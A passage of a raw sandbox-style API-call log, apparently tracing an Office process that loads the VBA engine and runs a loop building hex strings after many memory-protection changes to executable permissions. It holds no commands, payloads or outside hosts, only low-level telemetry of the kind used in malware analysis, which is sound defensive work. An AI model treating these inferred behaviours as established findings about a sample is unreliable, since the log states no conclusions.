[0086.060] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0086.060] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.061] GetCurrentProcess () returned 0xffffffff [0086.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0086.061] GetCurrentProcess () returned 0xffffffff [0086.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0086.061] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.061] GetCurrentProcess () returned 0xffffffff [0086.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0086.061] GetCurrentProcess () returned 0xffffffff [0086.061] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0086.061] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.062] GetCurrentProcess () returned 0xffffffff [0086.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0086.062] GetCurrentProcess () returned 0xffffffff [0086.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0086.062] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.062] GetCurrentProcess () returned 0xffffffff [0086.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0086.062] GetCurrentProcess () returned 0xffffffff [0086.062] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0086.062] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.063] GetCurrentProcess () returned 0xffffffff [0086.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0086.063] GetCurrentProcess () returned 0xffffffff [0086.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0086.063] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.063] GetCurrentProcess () returned 0xffffffff [0086.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0086.063] GetCurrentProcess () returned 0xffffffff [0086.063] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0086.063] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.064] GetCurrentProcess () returned 0xffffffff [0086.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0086.064] GetCurrentProcess () returned 0xffffffff [0086.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0086.064] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.064] GetCurrentProcess () returned 0xffffffff [0086.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0086.064] GetCurrentProcess () returned 0xffffffff [0086.064] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0086.064] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.065] GetCurrentProcess () returned 0xffffffff [0086.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0086.065] GetCurrentProcess () returned 0xffffffff [0086.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0086.065] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.065] GetCurrentProcess () returned 0xffffffff [0086.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0086.065] GetCurrentProcess () returned 0xffffffff [0086.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0086.065] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.066] GetCurrentProcess () returned 0xffffffff [0086.066] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0086.066] GetCurrentProcess () returned 0xffffffff [0086.066] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0086.066] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.066] GetCurrentProcess () returned 0xffffffff [0086.066] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0086.066] GetCurrentProcess () returned 0xffffffff [0086.066] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0086.066] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.067] GetCurrentProcess () returned 0xffffffff [0086.067] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0086.067] GetCurrentProcess () returned 0xffffffff [0086.067] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0086.067] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.067] GetCurrentProcess () returned 0xffffffff [0086.068] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0086.068] GetCurrentProcess () returned 0xffffffff [0086.068] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0086.068] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.068] GetCurrentProcess () returned 0xffffffff [0086.068] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0086.068] GetCurrentProcess () returned 0xffffffff [0086.068] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0086.068] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19712c | out: lpflOldProtect=0x19712c*=0x40) returned 1 [0086.069] GetCurrentProcess () returned 0xffffffff [0086.069] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0086.069] SetErrorMode (uMode=0x8001) returned 0x8001 [0086.069] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0086.069] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x69320000 [0086.070] SetErrorMode (uMode=0x8001) returned 0x8001 [0086.070] GetProcAddress (hModule=0x69320000, lpProcName=0x234) returned 0x694fb15f [0086.072] GetAsyncKeyState (vKey=3) returned 0 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.072] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.073] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.073] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.073] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.073] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.073] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.073] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.073] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.074] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.074] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.074] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.074] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.074] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.074] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.074] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.075] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.075] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.075] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.075] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.075] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.075] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.075] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.076] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.076] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.076] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.076] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.076] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.076] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.076] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.076] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.076] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.077] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.077] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.077] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.077] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.077] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.077] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.077] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.077] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.077] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.077] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.078] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.078] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.078] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.078] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.078] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.078] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.078] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.079] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.079] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.079] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.079] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.079] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.079] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.079] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.080] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.080] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.080] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.080] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.080] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.080] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.080] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.080] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.081] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.081] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.081] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.081] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.081] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.081] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.081] VarBstrCat (in: bstrLeft="&H6", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.081] VarCmp 